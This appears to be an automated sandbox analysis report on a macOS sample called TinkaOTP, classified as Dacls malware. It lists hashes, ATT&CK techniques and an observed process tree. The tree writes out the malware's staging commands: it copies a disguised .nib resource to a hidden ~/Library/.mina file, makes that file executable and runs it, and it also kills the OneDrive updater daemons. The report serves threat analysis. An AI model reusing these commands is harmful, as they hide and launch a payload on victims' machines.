Analysis

  • max time kernel
    138s
  • max time network
    126s
  • platform
    macos-10.15_amd64
  • resource
    macos-20240711.1-en
  • resource tags

    arch:amd64arch:i386image:macos-20240711.1-enkernel:19b77alocale:en-usos:macos-10.15-amd64system
  • submitted
    01-08-2024 22:26

General

  • Target

    TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP

  • Size

    700KB

  • MD5

    02670c82d74d0362a5fafdf3f42904ef

  • SHA1

    a909cdb57132b9a928467540e2031b0d25fed39d

  • SHA256

    90fbc26c65e4aa285a3f7ee6ff8a3a4318a8961ebca71d47f51ef0b4b7829fd0

  • SHA512

    21fb953e06ed088493424f68de0c2bc03f2f0844319281dacf47fa0e69e18d51c24154f8522e20bb758946239bb6923aaacdc5c250127b0bd6cf74363bea594a

  • SSDEEP

    12288:rNRvDxr7edSRIOaQlv5zOrBu4PBP6v8Dy6aB6LyjaMoa+6LyjaMY:hRv1raYwZP6uy

Malware Config

Signatures

  • Dacls

    Dacls family.

  • File Permission 1 TTPs

    Adversaries may modify file permissions/attributes to evade access control lists (ACLs) and access protected files.

  • Resource Forking 1 TTPs 1 IoCs

    Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.

  • Command and Scripting Interpreter 1 TTPs

    Adversaries may abuse Unix shell commands and scripts for execution.

Processes

  • /bin/sh
    sh -c "sudo /bin/zsh -c \"/Users/run/TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP\""
    1⤵
      PID:497
    • /bin/bash
      sh -c "sudo /bin/zsh -c \"/Users/run/TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP\""
      1⤵
        PID:497
      • /usr/bin/sudo
        sudo /bin/zsh -c /Users/run/TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP
        1⤵
          PID:497
          • /bin/zsh
            /bin/zsh -c /Users/run/TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP
            2⤵
              PID:502
            • /Users/run/TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP
              /Users/run/TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP
              2⤵
                PID:502
            • /bin/bash
              /bin/bash -c "cp /Users/run/TinkaOTP/TinkaOTP.app/Contents/Resources/Base.lproj/SubMenu.nib ~/Library/.mina > /dev/null 2>&1 && chmod +x ~/Library/.mina > /dev/null 2>&1 && ~/Library/.mina > /dev/null 2>&1"
              1⤵
                PID:510
                • /bin/cp
                  cp /Users/run/TinkaOTP/TinkaOTP.app/Contents/Resources/Base.lproj/SubMenu.nib /Users/run/Library/.mina
                  2⤵
                    PID:512
                  • /bin/chmod
                    chmod +x /Users/run/Library/.mina
                    2⤵
                      PID:513
                    • /Users/run/Library/.mina
                      /Users/run/Library/.mina
                      2⤵
                        PID:514
                    • /usr/libexec/xpcproxy
                      xpcproxy com.apple.ViewBridgeAuxiliary
                      1⤵
                        PID:515
                      • /System/Library/PrivateFrameworks/ViewBridge.framework/Versions/A/XPCServices/ViewBridgeAuxiliary.xpc/Contents/MacOS/ViewBridgeAuxiliary
                        /System/Library/PrivateFrameworks/ViewBridge.framework/Versions/A/XPCServices/ViewBridgeAuxiliary.xpc/Contents/MacOS/ViewBridgeAuxiliary
                        1⤵
                          PID:515
                        • /usr/libexec/xpcproxy
                          xpcproxy com.apple.sysmond
                          1⤵
                            PID:522
                          • /usr/libexec/sysmond
                            /usr/libexec/sysmond
                            1⤵
                              PID:522
                            • /usr/libexec/xpcproxy
                              xpcproxy com.apple.audio.AudioComponentRegistrar
                              1⤵
                                PID:524
                              • /System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar
                                /System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar -daemon
                                1⤵
                                  PID:524
                                • /usr/libexec/xpcproxy
                                  xpcproxy com.apple.corespotlightservice.725FD30A-6064-6C02-CC51-5DDB8891B57E
                                  1⤵
                                    PID:537
                                  • /System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService
                                    /System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService
                                    1⤵
                                      PID:537
                                    • /bin/launchctl
                                      /bin/launchctl kill SIGTERM system/com.microsoft.OneDriveUpdaterDaemon
                                      1⤵
                                        PID:543
                                      • /bin/launchctl
                                        /bin/launchctl kill SIGTERM system/com.microsoft.OneDriveStandaloneUpdaterDaemon
                                        1⤵
                                          PID:544
                                        • /usr/libexec/xpcproxy
                                          xpcproxy com.apple.newsyslog
                                          1⤵
                                            PID:551
                                          • /usr/sbin/newsyslog
                                            /usr/sbin/newsyslog
                                            1⤵
                                              PID:551

                                            Network

                                            MITRE ATT&CK Enterprise v15

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